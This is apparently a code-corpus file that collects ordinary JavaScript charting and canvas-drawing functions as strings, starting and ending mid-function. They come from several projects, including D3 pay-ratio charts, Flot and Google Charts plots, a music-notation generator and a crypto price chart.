`translateY(${\n 350 \n }px)`)\n .attr(\"opacity\", .13)\n .selectAll(\"text\")\n .attr(\"y\", 35)\n \n/////////////////////////////////////////////////////////\n////Draw data\n \n let color = colors[2]\n \n let radius = 16\n \n let labelWidth = 82\n let labelHeight = 30\n let labelYOffset = 24\n \n //Draw start line & data\n \n startHourLine.attr(\"x1\", xScale(dataset[0].ceoToWorkerRealized))\n .attr(\"x2\", xScale(dataset[0].ceoToWorkerRealized))\n //.attr(\"y1\", yScale(0) - 10)\n .attr(\"y1\", yScale(0) - 160)\n .attr(\"y2\", yScale(15) + 10)\n .attr(\"stroke\", color)\n .attr(\"stroke-width\", 2)\n .attr(\"stroke-dasharray\", \"5 5\")\n \n hourStartDot.attr(\"cx\", xScale(dataset[0].ceoToWorkerRealized))\n .attr(\"cy\", yScale(15))\n .attr(\"r\", radius)\n .attr(\"fill\", color)\n \n hourStartLabel.attr(\"x\", xScale(dataset[0].ceoToWorkerRealized))\n .attr(\"y\", yScale(15) + 4)\n .text(\"1965\")\n .attr(\"fill\", \"white\")\n .attr(\"text-anchor\", \"middle\")\n .attr(\"font-size\", \"11px\")\n \n ratioStartLabel.attr(\"x\", xScale(dataset[0].ceoToWorkerRealized))\n //.attr(\"y\", dimensions.boundedHeight + 10)\n .attr(\"y\", yScale(15) + 60)\n .text(\"CEO pay 19.9x\")\n .attr(\"fill\", color)\n .style(\"text-anchor\", \"middle\")\n .attr(\"class\", \"axis-label\")\n \n endHourLine.attr(\"x1\", xScale(dataset[7].ceoToWorkerRealized))\n .attr(\"x2\", xScale(dataset[7].ceoToWorkerRealized))\n //.attr(\"y1\", yScale(0) - 10)\n .attr(\"y1\", yScale(0) - 160)\n .attr(\"y2\", yScale(15) + 10)\n .attr(\"stroke\", color)\n .attr(\"stroke-width\", 2)\n .attr(\"stroke-dasharray\", \"5 5\")\n .attr(\"opacity\", 0)\n \n hourEndDot.attr(\"cx\", xScale(dataset[7].ceoToWorkerRealized))\n .attr(\"cy\", yScale(15))\n .attr(\"r\", radius)\n .attr(\"fill\", color)\n .attr(\"opacity\", 0)\n \n hourEndLabel.attr(\"x\", xScale(dataset[7].ceoToWorkerRealized))\n .attr(\"y\", yScale(15) + 4)\n .text(\"2018\")\n .attr(\"fill\", \"white\")\n .attr(\"text-anchor\", \"middle\")\n .attr(\"font-size\", \"11px\")\n .attr(\"opacity\", 0)\n \n ratioEndLabel.attr(\"x\", xScale(dataset[7].ceoToWorkerRealized))\n .attr(\"y\", yScale(15) + 60)\n .text(\"CEO pay 278.1x\")\n .style(\"text-anchor\", \"middle\")\n .attr(\"fill\", color)\n .attr(\"class\", \"axis-label\")\n .attr(\"opacity\", 0)\n \n/////////////////////////////////////////////////////////\n////Draw caption\n \n captionBox\n .attr(\"x\", (dimensions.boundedWidth / 2) - 100)\n .attr(\"y\", 70)\n .attr(\"height\", 190)\n .attr(\"opacity\", 1)\n\n middleTextTop\n .attr(\"class\", \"caption\")\n .attr(\"fill\", \"white\")\n .attr(\"opacity\", 0)\n \n changeBottomText(newText = \"\",\n\tloc = 1/2, delayDisappear = 0, delayAppear = 1, finalText = true, xloc = (dimensions.boundedWidth / 2 + 35), w = 230);\n \n changeTopText(newText = \"Within firms, a CEO went from making 19.9 times more than their typical employee, to 278.1 times more\",\n\tloc = 4/2, delayDisappear = 0, delayAppear = 1, finalText = true, xloc = (dimensions.boundedWidth / 2 + 35), w = 230);\n \n/////////////////////////////////////////////////////////\n////Make rest of chart visible\n \n endHourLine.transition().delay(fade*8).duration(fade)\n .attr(\"opacity\", 1)\n hourEndDot.transition().delay(fade*8).duration(fade)\n .attr(\"opacity\", 1)\n hourEndLabel.transition().delay(fade*8).duration(fade)\n .attr(\"opacity\", 1)\n ratioEndLabel.transition().delay(fade*8).duration(fade)\n .attr(\"opacity\", 1) \n \n}", "function drawLinePlot(view_data){\n\t\n // finalise plot data \n var plot_data = view_data.plot_data;\n \n var flot_data = [];\n var count = 0;\n var markings = set_markings_to_array(view_data);\n min_x_axis = view_data.min_x_axis;\n max_x_axis = view_data.max_x_axis;\n \n // have to set this for the color\n \n var show_standard_deviation=\"on\";\n \n var countList = 0;\n var checkLabels = {};\n list_color_dict = {};\n\n // This is to show the day value when the labels are not shown (in summary xaxis label mode)\n var show_xaxis_labels_full = {};\n\n if (typeof view_data.xaxis_labels_original === \"undefined\") {\n view_data.xaxis_labels_original = view_data.xaxis_labels;\n }\n\n for (var list in view_data.xaxis_labels_original.full){\n label_name = view_data.xaxis_labels_original.full[list].name; \n xaxis_position = view_data.xaxis_labels_original.full[list].xaxis_position; \n show_xaxis_labels_full[xaxis_position] = label_name;\n }\n\n for (var list in plot_data){\n if (plot_data.hasOwnProperty(list) ){\n values_array = new Array();\n var base_count = 0;\n for (var item in plot_data[list]['values']){\n var standard_deviation = plot_data[list]['values'][item]['sd'];\n var average = plot_data[list]['values'][item]['average'];\n var xaxis = plot_data[list]['values'][item]['xaxis'];\n var extra_info = plot_data[list]['values'][item]['extra_info'];\n var color = plot_data[list]['color'];\n label = null;\n values_array[xaxis] = [xaxis,average];\n if (show_standard_deviation == 'on' && standard_deviation > 0){\n \n // tried setting it up in json but it kept picking this up as an Object and not an array when decoding json\n graph_data = new Array(); // had to make it an array otherwise it wouldn't get picked up \n graph_data[0] = new Array(); \n graph_data[1] = new Array(); \n graph_data[0][0] = xaxis;\n graph_data[0][1] = average + standard_deviation;\n graph_data[1][0] = xaxis;\n graph_data[1][1] = average - standard_deviation;\n flot_data[count] = {data: graph_data, label: null, color: color,lines: {show: true}, bandwidth: {show: true, lineWidth: 30, lineThickness: 3}, hoverable: false};\n count++;\n }\n }\n \n temp_label = list.split('|');\n new_label = temp_label[1] + ' - ' + temp_label[0];\n flot_data[count] = {data: values_array,color:color,hoverLabel: new_label + extra_info, label: label, points: { show: true }, lines: {show: true}, show_xaxis_labels_full: show_xaxis_labels_full};\n count++; \n }\n }\n view_data.options = set_options_bar_and_box(view_data);\n\n\n // this is checking total values of the original full xaxis labels. It's not perfect.\n if (view_data.expand_horizontally || Object.keys(view_data.xaxis_labels_original.full).length < 35 ){\n view_data.xaxis_labels = view_data.xaxis_labels_original['full'];\n } \n else {\n view_data.xaxis_labels = view_data.xaxis_labels_original['summary'];\n } \n view_data.flot_data = set_detection_threshold_and_median(view_data,flot_data,count);\n\n\n drawGraph(view_data);\n \n \n}", "function drawChart() {\n \n if (submitted_yet){\n\n //collect the current user conditions\n var day = conditions[\"day\"];\n var hour = conditions[\"time\"];\n var weather = conditions[\"weather\"];\n\n var primSevArr = new Array();\n \n //let's get a severity for every hour \n for (hour = 0; hour<24; hour++){\n total_this_hour = 0;\n \n \n for (i = 0; i<=primEndIndex; i++){\n var sev_array = primSteps[i].severity;\n if(!sev_array){\n //this is for error handling\n continue;\n }\n var sev = sev_array[day][hour][weather];\n sev = fixSev(sev);\n\n total_this_hour += sev;\n }\n //add the sev total for this hour to the array\n primSevArr[hour] = total_this_hour;\n }\n\n // Create the data table.\n var prim_data = new google.visualization.DataTable();\n prim_data.addColumn('number', 'Hour');\n prim_data.addColumn('number', 'Primary Route Total Traffic Severity');\n\n //if alt route exists, get data for it and put it in a graph\n if(alt){\n\n var altSevArr = new Array();\n //get traff data for alt route\n for (i = 0; i<24; i++){\n alt_total_this_hour = 0;\n for (j = 0; j<=altEndIndex; j++){\n var sev_array = altSteps[j].severity;\n if(!sev_array){\n //this is for error handling\n continue;\n }\n var alt_sev = sev_array[day][i][weather];\n alt_sev = fixSev(alt_sev);\n\n alt_total_this_hour += alt_sev;\n }\n altSevArr[i] = alt_total_this_hour;\n }\n \n //add this data to the graph\n prim_data.addColumn('number', 'Alternate Total Traffic Severity');\n for(i=0; i<24; i++){\n prim_data.addRows([[i, primSevArr[i], altSevArr[i]]]);\n }\n //some rendering options for the graph\n var alt_options = {\n chart:{\n title: 'Alternate & Primary Route Total Traffic Severity vs. Hour'\n },\n series: {\n 0: {color: '#9966ff'},\n 1: {color: 'black'}\n }\n };\n \n //this chart is for the alt route, if applicable\n var alt_chart = new google.charts.Line(document.getElementById('prim_chart_div'));\n alt_chart.draw(prim_data, google.charts.Line.convertOptions(alt_options));\n }\n else{\n for(i=0; i<24; i++){\n prim_data.addRows([[i, primSevArr[i]]]);\n }\n var prim_options = {\n chart:{\n title: 'Primary Route Total Traffic Severity vs. Hour'\n },\n series: {\n 0: {color: '#9966ff'},\n }\n };\n\n var prim_chart = new google.charts.Line(document.getElementById('prim_chart_div'));\n prim_chart.draw(prim_data, google.charts.Line.convertOptions(prim_options));\n }\n }\n}", "axisPlot() {\n this.ctx = this.canvas.getContext(\"2d\");\n\n /**\n * Grid grid\n */\n if (this.grid.grid) {\n this.ctx.beginPath();\n this.ctx.font = 'italic 18pt Calibri';\n this.ctx.strokeStyle = '#979797';\n this.ctx.lineWidth = 1;\n this.ctx.setLineDash([10, 15]);\n for (let i = 30; i < this.field.width; i+= 100) {\n this.ctx.fillText(Math.ceil(this.ScreenToWorldY(i)*1000)/1000, 0, i);\n this.ctx.moveTo(0, i);\n this.ctx.lineTo(this.field.width, i);\n }\n for (let i = 100; i < this.field.width; i+= 100) {\n this.ctx.fillText(Math.ceil(this.ScreenToWorldX(i)*1000)/1000, i, this.field.height);\n this.ctx.moveTo(i, 0);\n this.ctx.lineTo(i, this.field.height);\n }\n this.ctx.stroke();\n this.ctx.closePath();\n }\n\n\n /**\n * Grid axiss\n */\n if (this.grid.axiss) {\n this.ctx.beginPath();\n this.ctx.strokeStyle = '#b10009';\n this.ctx.lineWidth = 2;\n this.ctx.setLineDash([]);\n\n this.ctx.moveTo(this.center.x, 0);\n this.ctx.lineTo(this.center.x, this.field.height);\n\n this.ctx.moveTo(0, this.center.y);\n this.ctx.lineTo(this.field.width, this.center.y);\n\n this.ctx.stroke();\n this.ctx.closePath();\n }\n\n\n if (this.grid.serifs) {\n this.ctx.beginPath();\n this.ctx.strokeStyle = '#058600';\n this.ctx.fillStyle = '#888888'\n this.ctx.lineWidth = 2;\n this.ctx.setLineDash([]);\n\n let start = 0;\n if (!this.grid.serifsStep){\n return;\n }\n\n let s = Math.abs(\n this.ScreenToWorldY(0) -\n this.ScreenToWorldY(this.grid.serifsSize)\n );\n\n /**\n * To right & to left\n */\n if ((this.center.y > 0) && (this.center.y < this.field.height)) {\n\n let finish = this.ScreenToWorldX(this.field.width);\n\n for (let i = start; i < finish; i+=this.grid.serifsStep) {\n this.moveTo(i+this.grid.serifsStep/2,(s/2));\n this.lineTo(i+this.grid.serifsStep/2,-(s/2));\n this.ctx.fillText(i+this.grid.serifsStep/2, this.WorldToScreenX(i+this.grid.serifsStep/2), this.WorldToScreenY(s/2));\n\n this.moveTo(i+this.grid.serifsStep,s);\n this.lineTo(i+this.grid.serifsStep,-s);\n this.ctx.fillText(i+this.grid.serifsStep, this.WorldToScreenX(i+this.grid.serifsStep), this.WorldToScreenY(s));\n }\n\n finish = this.ScreenToWorldX(0);\n\n for (let i = start; i > finish; i-=this.grid.serifsStep) {\n this.moveTo(i-this.grid.serifsStep/2,(s/2));\n this.lineTo(i-this.grid.serifsStep/2,-(s/2));\n this.ctx.fillText(i-this.grid.serifsStep/2, this.WorldToScreenX(i-this.grid.serifsStep/2), this.WorldToScreenY(s/2));\n\n this.moveTo(i-this.grid.serifsStep,s);\n this.lineTo(i-this.grid.serifsStep,-s);\n this.ctx.fillText(i-this.grid.serifsStep, this.WorldToScreenX(i-this.grid.serifsStep), this.WorldToScreenY(s));\n }\n }\n\n /**\n * To top & to bot\n */\n if ((this.center.x > 0) && (this.center.x < this.field.width)) {\n\n start = 0;\n let finish = this.ScreenToWorldY(0);\n\n for (let i = start; i < finish; i+=this.grid.serifsStep) {\n this.moveTo((s/2),i+this.grid.serifsStep/2);\n this.lineTo(-(s/2),i+this.grid.serifsStep/2);\n this.ctx.fillText(i+this.grid.serifsStep/2, this.WorldToScreenX(s/2), this.WorldToScreenY(i+this.grid.serifsStep/2));\n\n this.moveTo(s, i+this.grid.serifsStep);\n this.lineTo(-s, i+this.grid.serifsStep);\n this.ctx.fillText(i+this.grid.serifsStep, this.WorldToScreenX(s), this.WorldToScreenY(i+this.grid.serifsStep));\n }\n\n finish = this.ScreenToWorldY(this.field.width);\n\n for (let i = start; i > finish-this.grid.serifsStep; i-=this.grid.serifsStep) {\n this.moveTo((s/2),i+this.grid.serifsStep/2);\n this.lineTo(-(s/2),i+this.grid.serifsStep/2);\n this.ctx.fillText(i+this.grid.serifsStep/2, this.WorldToScreenX(s/2), this.WorldToScreenY(i+this.grid.serifsStep/2));\n\n this.moveTo(s, i+this.grid.serifsStep);\n this.lineTo( -s, i+this.grid.serifsStep);\n this.ctx.fillText(i+this.grid.serifsStep, this.WorldToScreenX(s), this.WorldToScreenY(i+this.grid.serifsStep));\n }\n }\n this.ctx.stroke();\n this.ctx.closePath();\n }\n }", "function drawMusicLine(beatType) {\n\n // default values\n var spaceNo = -30;\n var lengthOfOneMeasure = 250;\n\n // get the array of selected rhythm items\n var rhyFragArray = rhythmFragArray(beatType); \n \n //get stave information\n var keyAndTime = keyAndTimeSignature(); \n \n // set clef\n var clef = \"percussion\";\n\n if (beatType == 1) {var beatValue = 2;}\n else if (beatType == 2) {var beatValue = 2;}\n else {var beatValue = 4;}\n\n //create time signature \n if (beatType == 2) {\n var time = `${keyAndTime[0]*3}/8`;\n } else {\n var time = `${keyAndTime[0]}/${beatValue}`;\n }\n \n\n var barLocation = keyAndTime[0];\n\n // Get the number of Measures\n var numOfMeasuresTotal = keyAndTime[1];\n \n // determine the number of rhythm fragments to place\n var numOfMeasures = numOfMeasuresTotal - 1; \n\n var numberOfRhythmFragments = keyAndTime[0] * numOfMeasures; \n\n if (numOfMeasuresTotal < 5) {\n var lengthOfOneMeasure = 350;\n var rhythmLineLength = lengthOfOneMeasure * numOfMeasures; \n //var lengthOfOneMeasure = 350;\n } else{\n var lengthOfOneMeasure = 263;\n var rhythmLineLength = lengthOfOneMeasure * 4;\n //\n } \n\n\n // determine the number of elements in the taskArray array\n var numberOfElements = rhyFragArray.length;\n \n var musicLine = `options space=${spaceNo}\\n`;\n musicLine = `${musicLine}tabstave notation=true tablature=false clef=${clef} time=${time}\\nnotes`;\n\n //create empty array\n var midiDrumString = [];\n \n // create the output\n for (let i = 0; i < numberOfRhythmFragments; i++) {\n\n // get the random number\n var solo = Math.floor(Math.random() * numberOfElements);\n\n var rhythmFragOutput = rhyFragArray[solo];\n\n // get the number out of the taskArray\n musicLine = `${musicLine} ${rhythmFragOutput[0]}`;\n\n var midiDrumStringAdd = rhythmFragOutput[1];\n Array.prototype.push.apply(midiDrumString, midiDrumStringAdd); \n\n var barLine = (i + 1) % barLocation;\n if (barLine == 0) {\n musicLine = `${musicLine}|`;\n }\n\n if (i == (keyAndTime[0]*4)-1 || i == (keyAndTime[0]*8)-1 || i == (keyAndTime[0]*12)-1) {\n musicLine = `${musicLine}\\noptions space=20\\n`;\n musicLine = `${musicLine}tabstave notation=true tablature=false clef=${clef} time=${time}\\nnotes`;\n } \n }\n\n //ending note, based on the beats per measure\n if (beatType == 1) {\n if (keyAndTime[0] == 4) {\n musicLine = `${musicLine} ${rhythmFragments.rhythmHalf[9].fragment}|`\n } else if (keyAndTime[0] == 3){\n musicLine = `${musicLine} ${rhythmFragments.rhythmHalf[10].fragment}|`\n }else{\n musicLine = `${musicLine} ${rhythmFragments.rhythmHalf[11].fragment}|`\n }\n } else if (beatType == 2) {\n if (keyAndTime[0] == 4) {\n musicLine = `${musicLine} ${rhythmFragments.rhythmComplex[26].fragment}|`\n } else if (keyAndTime[0] == 3){\n musicLine = `${musicLine} ${rhythmFragments.rhythmComplex[27].fragment}|`\n }else{\n musicLine = `${musicLine} ${rhythmFragments.rhythmComplex[28].fragment}|`\n }\n } else { \n if (keyAndTime[0] == 4) {\n musicLine = `${musicLine} ${rhythmFragments.rhythmQuarter[9].fragment}|`\n } else if (keyAndTime[0] == 3){\n musicLine = `${musicLine} ${rhythmFragments.rhythmQuarter[10].fragment}|`\n }else{\n musicLine = `${musicLine} ${rhythmFragments.rhythmQuarter[11].fragment}|`\n }\n }\n \n\n var leadInBeats = [];\n //add the preceeding and trailing beats\n for (let i = 0; i < keyAndTime[0]; i++) { \n var leadInBeatsAdd = rhythmFragments.soloBaseBeats;\n Array.prototype.push.apply(leadInBeats,leadInBeatsAdd);\n }\n\n var midiDrumStringPlusLeadIn = leadInBeats.concat(midiDrumString);\n\n //add the ending snare beats\n var midiDrumStringAddEnding = midiDrumStringPlusLeadIn.concat(rhythmFragments.endBeats);\n\n var endingBeats = [];\n //add the rest of the ending base beats\n for (let i = 0; i < keyAndTime[0]-1; i++) { \n var endingBeatsAdd = rhythmFragments.soloBaseBeats;\n Array.prototype.push.apply(endingBeats,endingBeatsAdd);\n }\n\n //final midiRhythmArray\n var midiRhythmOutput = midiDrumStringAddEnding.concat(endingBeats);\n\n var returnValues = [musicLine , rhythmLineLength, midiRhythmOutput, numberOfRhythmFragments, barLocation];\n console.log(\"the return Values\", returnValues);\n return returnValues;\n}", "function ChartAnimation(time) {\r\n\r\n //normikuvaajat\r\n for (var id in chartOptions) {\r\n if (chartOptions[id] != null) {;\r\n chartOptions[id].animation.duration = time;\r\n }\r\n\r\n }\r\n\r\n var tmpID;\r\n\r\n //googlen dashboardissa olevat kuvaajat\r\n for (var elo = 0; elo < 3; elo++) {\r\n for (var arranged = 0; arranged <= 1; arranged++) {\r\n for (var gameMode = 1; gameMode <= 4; gameMode++) {\r\n if (arranged == 1 && gameMode == 1) {\r\n continue;\r\n }\r\n tmpID = 'winRatioDaily' + 'M' + gameMode + 'E' + ELOdb[elo] + 'A' + arranged;\r\n chartChart[tmpID + \"_main\"].setOption('animation.duration', time);\r\n tmpID = 'gamesPlayedDaily' + 'M' + gameMode + 'E' + ELOdb[elo] + 'A' + arranged;\r\n chartChart[tmpID + \"_main\"].setOption('animation.duration', time);\r\n }\r\n }\r\n }\r\n\r\n for (var elo = 0; elo < 3; elo++) {\r\n for (var arranged = 0; arranged <= 1; arranged++) {\r\n tmpID = 'gamesPlayedDailyAll' + 'E' + ELOdb[elo] + 'A' + arranged;\r\n chartChart[tmpID + \"_main\"].setOption('animation.duration', time);\r\n }\r\n }\r\n\r\n\r\n}", "function drawTimeUi() {\n ctx.save();\n ctx.fillStyle = '#222';\n\n // top bar\n ctx.beginPath();\n ctx.moveTo(0, 43 * options.uiScale);\n ctx.lineTo(80 * options.uiScale, 43 * options.uiScale);\n for (let i = 1; i <= 10 * options.uiScale | 0; i++) {\n ctx.lineTo(80 * options.uiScale +i*2, 43 * options.uiScale -i*2);\n ctx.lineTo(80 * options.uiScale +i*2+2, 43 * options.uiScale -i*2);\n }\n\n let position = 130 + translation.time.length * 10;\n ctx.lineTo(position * options.uiScale, 23 * options.uiScale);\n for (let i = 1; i <= 10 * options.uiScale | 0; i++) {\n ctx.lineTo(position * options.uiScale +i*2, 23 * options.uiScale -i*2);\n ctx.lineTo(position * options.uiScale +i*2+2, 23 * options.uiScale -i*2);\n }\n ctx.lineTo((position + 22) * options.uiScale, 0);\n ctx.lineTo(0, 0);\n ctx.closePath();\n ctx.fill();\n\n // bottom bar\n ctx.beginPath();\n let y = kontra.canvas.height - 25 * options.uiScale;\n ctx.moveTo(0, y);\n\n position = 85 + translation.best.length * 10;\n ctx.lineTo(position * options.uiScale, y);\n for (let i = 1; i <= 10 * options.uiScale | 0; i++) {\n ctx.lineTo(position * options.uiScale +i*2, y+i*2);\n ctx.lineTo(position * options.uiScale +i*2+2, y+i*2);\n }\n ctx.lineTo((position + 22) * options.uiScale, kontra.canvas.height);\n ctx.lineTo(0, kontra.canvas.height);\n ctx.closePath();\n ctx.fill();\n\n ctx.fillStyle = '#fdfdfd';\n let time = getTime(audio.currentTime);\n\n setFont(40);\n ctx.fillText(getSeconds(time).padStart(3, ' '), 5 * options.uiScale, 35 * options.uiScale);\n setFont(18);\n ctx.fillText(':' + getMilliseconds(time).padStart(2, '0') + '\\t' + translation.time, 80 * options.uiScale, 17 * options.uiScale);\n ctx.fillText(bestTime.padStart(6, ' ') + '\\t' + translation.best, 5 * options.uiScale, kontra.canvas.height - 5 * options.uiScale);\n ctx.restore();\n}", "function processOptions(plot, options) {\n\t\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t\t}\n\t\t\t}", "function processOptions(plot, options) {\n\t\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t\t}\n\t\t\t}", "function buildGraph() {\n clearInterval(updateChart);\n var options = {\n title: {\n text: \"Crypto Coin Value Vs. Time\",\n padding: 10,\n margin: 15,\n backgroundColor: \"#F0F8FF\",\n borderColor: \"lightblue\",\n borderThickness: 1,\n cornerRadius: 5\n },\n subtitles: [{\n text: new Date()\n }],\n exportEnabled: true,\n toolTip: {\n shared: true\n },\n legend: {\n cursor: \"pointer\",\n horizontalAlign: \"center\",\n verticalAlign: \"top\"\n },\n axisX: {\n title: \"Time [sec]\",\n valueFormatString: \"ss:ff\",\n intervalType: \"millisecond\",\n interval: 500\n },\n axisY: {\n suffix: \" $\",\n includeZero: false,\n gridColor: \"lightblue\",\n interlacedColor: \"#F0F8FF\",\n scaleBreaks: {\n autoCalculate: true\n }\n }\n }\n options.data = [];\n for (let i = 0; i < coinToggle.length; i++) {\n options.data.push({\n name: coinToggle[i].toUpperCase(),\n type: \"line\",\n showInLegend: true,\n xValueFormatString: \"ss:ff\",\n axisYIndex: 1,\n dataPoints: [],\n })\n }\n var chart = new CanvasJS.Chart(\"chartContainer\", options);\n chart.render();\n var str = coinToggle.join(',').toUpperCase();\n var URL = `https://min-api.cryptocompare.com/data/pricemulti?fsyms=${str}&tsyms=USD`;\n updateChart = setInterval(function () {\n var date = new Date();\n var dataLength = 5;\n $.get(URL, function (data) {\n for (let i = 0; i < coinToggle.length; i++) {\n options.data[i].dataPoints.push({\n x: date,\n y: data[coinToggle[i].toUpperCase()].USD\n });\n if (options.data[i].dataPoints.length > dataLength) {\n options.data[i].dataPoints.shift();\n }\n }\n var chart = new CanvasJS.Chart(\"chartContainer\", options)\n chart.render();\n });\n }, 2000);\n}", "function processOptions(plot, options) {\n\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t}\n\t\t}", "function processOptions(plot, options) {\n\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t}\n\t\t}", "function processOptions(plot, options) {\n\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t}\n\t\t}", "function processOptions(plot, options) {\n\t\t\tif (options.series.curvedLines.active) {\n\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\n\t\t\t}\n\t\t}", "addTicksAndLabels() {\n const ignored = JQX.Utilities.BigNumber.ignoreBigIntNativeSupport;\n\n JQX.Utilities.BigNumber.ignoreBigIntNativeSupport = true;\n\n const that = this.context,\n trackLength = that._measurements.trackLength,\n normalLayout = that._normalLayout,\n ticksFrequency = that._majorTicksInterval,\n tickscount = this.round(new JQX.Utilities.BigNumber(that._range).divide(ticksFrequency)),\n ticksDistance = trackLength / tickscount,\n min = new JQX.Utilities.BigNumber(that._drawMin),\n max = new JQX.Utilities.BigNumber(that._drawMax);\n\n\n let first, second, distanceModifier, last, firstLabelValue, firstLabelSize, lastLabelValue, lastLabelSize, currentTickAndLabel, ticks = '', labels = '';\n\n that._tickValues = [];\n this._longestLabelSize = 0;\n\n if (normalLayout) {\n first = min;\n second = ticksFrequency.add(first.subtract(first.mod(ticksFrequency)));\n distanceModifier = second.subtract(first);\n firstLabelValue = that._formatLabel(min);\n firstLabelSize = that._tickIntervalHandler.labelsSize.minLabelSize;\n last = max;\n lastLabelValue = that._formatLabel(max);\n lastLabelSize = that._tickIntervalHandler.labelsSize.maxLabelSize;\n }\n else {\n first = max;\n second = first.subtract(first.mod(ticksFrequency));\n distanceModifier = first.subtract(second);\n firstLabelValue = that._formatLabel(max);\n firstLabelSize = that._tickIntervalHandler.labelsSize.maxLabelSize;\n last = min;\n lastLabelValue = that._formatLabel(min);\n lastLabelSize = that._tickIntervalHandler.labelsSize.minLabelSize;\n }\n\n that._labelDummy = this._createMeasureLabel();\n\n currentTickAndLabel = this._addMajorTickAndLabel(firstLabelValue, firstLabelSize, true, first); // first tick and label\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n\n // special case for second tick and label\n const distanceFromFirstToSecond = distanceModifier.divide(ticksFrequency).multiply(ticksDistance);\n\n if (second.compare(that.max) !== 0 && distanceFromFirstToSecond.compare(trackLength) < 0) {\n // second item rendering\n const secondItemHtmlValue = that._formatLabel(second.toString()),\n plotSecond = distanceFromFirstToSecond.compare(firstLabelSize) > 0;\n\n currentTickAndLabel = this._addMajorTickAndLabel(secondItemHtmlValue, undefined, plotSecond, second, true);\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n }\n currentTickAndLabel = this.addMiddleMajorTicks(tickscount, ticksDistance, distanceFromFirstToSecond, distanceModifier, normalLayout, ticksFrequency);\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n currentTickAndLabel = this._addMajorTickAndLabel(lastLabelValue, lastLabelSize, true, last); // last tick and label\n ticks += currentTickAndLabel.tick;\n labels += currentTickAndLabel.label;\n\n if (that.mode !== 'date') {\n ticks += this.addMinorTicks(normalLayout);\n }\n\n that._measureLabelScale.removeChild(that._labelDummy);\n delete that._labelDummy;\n delete that._measureLabelScale;\n\n if (that.nodeName.toLowerCase() === 'jqx-tank') {\n that._updateScaleWidth(this._longestLabelSize);\n }\n\n that._appendTicksAndLabelsToScales(ticks, labels);\n JQX.Utilities.BigNumber.ignoreBigIntNativeSupport = ignored;\n }", "function updateArea2(selected_hash = title_hash[0]) { \r\n\r\n // Graphics Device Setup //\r\n // Remove the previous chart //\r\n d3.selectAll('#svg_time') \r\n .remove()\r\n\r\n // Create svg for chart // \r\n var svg_time = area2.append(\"svg\") \r\n .attr(\"id\",\"svg_time\")\r\n .attr(\"width\", width) \r\n .attr(\"height\", height + margin.top + margin.bottom)\r\n .attr(\"transform\", \"translate(\" + -margin.left*2 + \", 0)\")\r\n .append(\"g\")\r\n .attr(\"transform\", \"translate(\" + margin.left*2 + \",\" + margin.top/2 + \")\")\r\n\r\n // Update title //\r\n var titlehash = d3.select(\"#titleHash\")\r\n titlehash.html(\"#\" + selected_hash + \" \" + Title_a2_ini)\r\n last_hash = selected_hash;\r\n \r\n\r\n // Pulling In Data //\r\n d3.json(filePath+fileName_pre + selected_hash + fileName_post).then(function(json) { /// make it dynamic, tie to controls\r\n var jsonClean = json.map(function(d) {\r\n return {\r\n time : d.date, ///formatTime(parseTime(d.date)), \r\n sentiment : +d.sentiment,\r\n cusumHigh : d.Cusum_high,\r\n cusumLow : d.Cusum_low,\r\n };\r\n });\r\n \r\n // Update time from T Z format //\r\n jsonClean.forEach(function(d) {\r\n d.time = formatTime(parseTime( d.time.substring(0,10)))\r\n }) \r\n\r\n // X scale Controls //\r\n xDomain = [d3.min(jsonClean,function(d){return finalTime(d.time)}), \r\n d3.max(jsonClean,function(d){return finalTime(d.time)})]; \r\n \r\n xScale_tl.domain(xDomain)\r\n .range([0, width - margin.left*3])\r\n .clamp(true);\r\n \r\n // Y scale Controls //\r\n yScale_tl.domain(yDomain)\r\n .range([height, 0])\r\n .clamp(true); \r\n \r\n // Line Plot Generator //\r\n svg_time.selectAll(\"line\")\r\n .data(jsonClean)\r\n .enter()\r\n .append(\"svg:line\")\r\n .attr(\"x1\", function(d,i) { return xScale_tl(finalTime(jsonClean[i].time)) })\r\n .attr(\"x2\", function(d,i) { \r\n if(i+1 < jsonClean.length) { return xScale_tl(finalTime(jsonClean[i+1].time)) } else { \r\n return xScale_tl(finalTime(jsonClean[i].time))}\r\n })\r\n .attr(\"y1\", function(d,i) { return yScale_tl(jsonClean[i].sentiment) })\r\n .attr(\"y2\", function(d,i) { \r\n if(i+1 < jsonClean.length) { return yScale_tl(jsonClean[i+1].sentiment) } else { \r\n return yScale_tl(jsonClean[i].sentiment) }\r\n })\r\n .attr(\"fill\",\"none\")\r\n .attr(\"stroke-width\",2.5)\r\n .attr(\"stroke\", lineColor)\r\n \r\n \r\n svg_time.append('line')\r\n .attr('x1', xScale_tl(xDomain[0]))\r\n .attr('y1', yScale_tl(0))\r\n .attr('x2', xScale_tl(xDomain[1]))\r\n .attr('y2', yScale_tl(0))\r\n .attr('class', 'refline');\r\n \r\n // X Axis Control //\r\n svg_time.append(\"g\")\r\n .attr(\"class\", \"axis_ticks\")\r\n .attr(\"transform\", \"translate(0,\" + height + \")\")\r\n .call(d3.axisBottom(xScale_tl));\r\n \r\n // Y Axis Controls //\r\n svg_time.append(\"g\")\r\n .attr(\"class\", \"axis_ticks\")\r\n .call(d3.axisLeft(yScale_tl)\r\n .tickValues([yDomain[0], 0, yDomain[1]])\r\n .tickFormat(function(d,i) { return Axis_Labels[i] }));\r\n\r\n // CUSUM vertical shaded bars\r\n let RECT_WIDTH = (width - margin.left*3)/jsonClean.length;\r\n let RECT_HEIGHT = height;\r\n svg_time.selectAll()\r\n .data(jsonClean)\r\n .enter()\r\n .append(\"rect\")\r\n .attr(\"x\", (d, i) => xScale_tl(finalTime(jsonClean[i].time)))\r\n .attr(\"y\", 0)\r\n .attr(\"width\", RECT_WIDTH)\r\n .attr(\"height\", RECT_HEIGHT)\r\n .style(\"fill\", 